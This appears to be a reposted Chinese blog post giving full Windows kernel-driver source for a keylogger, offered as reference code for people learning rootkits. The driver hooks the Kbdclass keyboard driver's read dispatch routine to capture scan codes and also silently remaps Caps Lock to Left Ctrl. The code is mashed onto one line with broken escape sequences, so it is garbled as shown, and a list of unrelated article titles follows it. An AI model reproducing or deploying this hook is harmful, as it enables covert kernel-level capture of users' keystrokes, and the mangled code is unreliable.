IRP Hook 键盘Logger
来源:互联网 发布:你不知道的事 知乎 编辑:程序博客网 时间:2024/06/02 19:56
作 者: cogito
前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。
承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。
本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。
主要代码如下:
代码:
#include <wdm.h>#include <ntddkbd.h>#include "IRPKlog.h"//要获取的设备驱动名#define KBD_DRIVER_NAME L"//Driver//Kbdclass"//保存原有分发函数指针PDRIVER_DISPATCH OldDispatchRead;//保存键盘驱动设备对象PDRIVER_OBJECT KbdDriverObject;//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看int numPendingIrps = 0;extern POBJECT_TYPE IoDriverObjectType;//保存当前pending的IRP 用于卸载时取消PIRP PendingIrp = NULL;BOOLEANCancelKeyboardIrp(IN PIRP Irp){ if (Irp == NULL) { DbgPrint( "CancelKeyboardIrp: Irp error/n" ); return FALSE; } // // 这里有些判断不是必须的,不过还是小心点好 // if ( Irp->Cancel || Irp->CancelRoutine == NULL ) { DbgPrint( "Can't Cancel the irp/n" ); return FALSE; } if ( FALSE == IoCancelIrp( Irp ) ) { DbgPrint( "IoCancelIrp() to failed/n" ); return FALSE; } // // 取消后重设此例程为空 // IoSetCancelRoutine( Irp, NULL ); return TRUE; }//驱动卸载函数VOID Unload( IN PDRIVER_OBJECT pDriverObject){ PDEVICE_OBJECT pDeviceObj; LARGE_INTEGER lDelay; PRKTHREAD CurrentThread; //delay some time lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND); CurrentThread = KeGetCurrentThread(); // 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。 KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY); //还原IRP hook InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead); // 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP pDeviceObj = pDriverObject->DeviceObject; if (numPendingIrps > 0 && PendingIrp != NULL) { if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED) { DbgPrint( "成功取消IRP/n" ); goto __End; } } DbgPrint("There are %d tagged IRPs/n",numPendingIrps); //DbgPrint("等待最后一个按键.../n"); while (numPendingIrps) { KeDelayExecutionThread(KernelMode, FALSE, &lDelay); }__End: DbgPrint("删除设备……/n"); IoDeleteDevice(pDeviceObj); DbgPrint("Driver Unload OK!/n"); return;}//MJ_READ 的回调函数NTSTATUS OnReadCompletion( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ){ ULONG buf_len = 0; PUCHAR buf = NULL; size_t i,numKeys; PKEYBOARD_INPUT_DATA KeyData; PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp); // 如果这个请求是成功的。很显然,如果请求失败了,这么获取 // 进一步的信息是没意义的 if( NT_SUCCESS( Irp->IoStatus.Status ) ) { // 获得读请求完成后输出的缓冲区 buf = Irp->AssociatedIrp.SystemBuffer; KeyData = (PKEYBOARD_INPUT_DATA)buf; // 获得这个缓冲区的长度。一般的说返回值有多长都保存在 // Information中。 buf_len = Irp->IoStatus.Information; numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA); //简单打印扫描码 for(i=0;i<numKeys;++i) { //DbgPrint("ctrl2cap: %2x/r/n", buf[i]); DbgPrint("/n"); DbgPrint("numKeys : %d",numKeys); DbgPrint("ScanCode: %x ", KeyData->MakeCode ); DbgPrint("%s/n", KeyData->Flags ?"Up" : "Down" ); print_keystroke((UCHAR)KeyData->MakeCode); if( KeyData->MakeCode == CAPS_LOCK) { KeyData->MakeCode = LCONTROL; } } } DbgPrint("Entering OnReadCompletion Routine.../n"); //完成一个IRP numPendingIrps--; if( Irp->PendingReturned ) { IoMarkIrpPending( Irp ); } //调用原来的完成函数,如果有的话 if ((Irp->StackCount > (ULONG)1) && (Context != NULL)) { return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL); } else { return Irp->IoStatus.Status; }}//新的分发函数NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){ //DbgPrint("Entering NewDispatchRead Routine.../n"); //设置完成函数 PIO_STACK_LOCATION irpSp; irpSp = IoGetCurrentIrpStackLocation(pIrp); irpSp->Control = SL_INVOKE_ON_SUCCESS| SL_INVOKE_ON_ERROR| SL_INVOKE_ON_CANCEL; //irpSp->Control = SL_INVOKE_ON_SUCCESS; //保留原来的完成函数,如果有的话 irpSp->Context = irpSp->CompletionRoutine; irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion; DbgPrint("已设置回调函数.../n"); //递增未完成的IRP数目 numPendingIrps++; if (numPendingIrps > 0) { PendingIrp = pIrp; } return OldDispatchRead(pDeviceObject,pIrp);}NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath){ NTSTATUS status = 0; UNICODE_STRING KbdNameString; PDEVICE_OBJECT pDeviceObject; DbgPrint("IRP Hook Keyboard Logger --DriverEntry/n"); // 初始化Kdbclass驱动的名字 RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME); //就这个程序而言,不需要创建设备及链接 status = IoCreateDevice( pDriverObject, 0, //暂时设为0 NULL, //不用名字先 FILE_DEVICE_UNKNOWN, 0, TRUE, //设为TRUE表示驱动独占,多数为FALSE &pDeviceObject ); if (!NT_SUCCESS(status)) { DbgPrint("Create device error!/n"); return status; } //设置驱动卸载函数 pDriverObject->DriverUnload = Unload; //获取驱动设备对象 status = ObReferenceObjectByName( &KbdNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &KbdDriverObject //保存得到的设备对象 ); if (!NT_SUCCESS(status)) { //如果失败 DbgPrint("Couldn't get the kbd driver object/n"); return STATUS_UNSUCCESSFUL; } else { //解除引用 ObDereferenceObject(KbdDriverObject); } OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ]; //原子交换操作 InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead); return status; }
- IRP Hook 键盘Logger
- IRP Hook 键盘Logger
- Hook KeyboardClassServiceCallback实现键盘 Logger
- IRP HOOK
- IRP Hook检测
- x86 IRP HOOK
- note : IRP hook on R0
- rootkit hook 之[五] -- IRP Hook全家福
- 键盘HOOK
- 键盘 HOOK
- Inline Hook IofCallDriver 截获所有IRP
- Inline Hook IofCallDriver 截获所有IRP
- RootKit之[五] IRP Hook全家福
- Inline Hook IofCallDriver 截获所有IRP
- Inline Hook IofCallDriver 截获所有IRP
- 【原创】rootkit hook 之[五] -- IRP Hook全家福
- 键盘过滤驱动之IRP劫持
- 键盘过滤驱动之IRP劫持
- ArrayList和数组间的相互转换
- android之jni
- 数据结构,栈,顺序表示
- 写在前面
- c++ 2 知识点
- IRP Hook 键盘Logger
- 自定义listview
- ios 多线程
- cts测试之host_config.xml
- 安装 cppman
- Flex开发入门
- VC/MFC(C++)实现文件拷贝和文件删除等
- ARM命名规则
- 在一个TabHost内实现多个Activity的跳转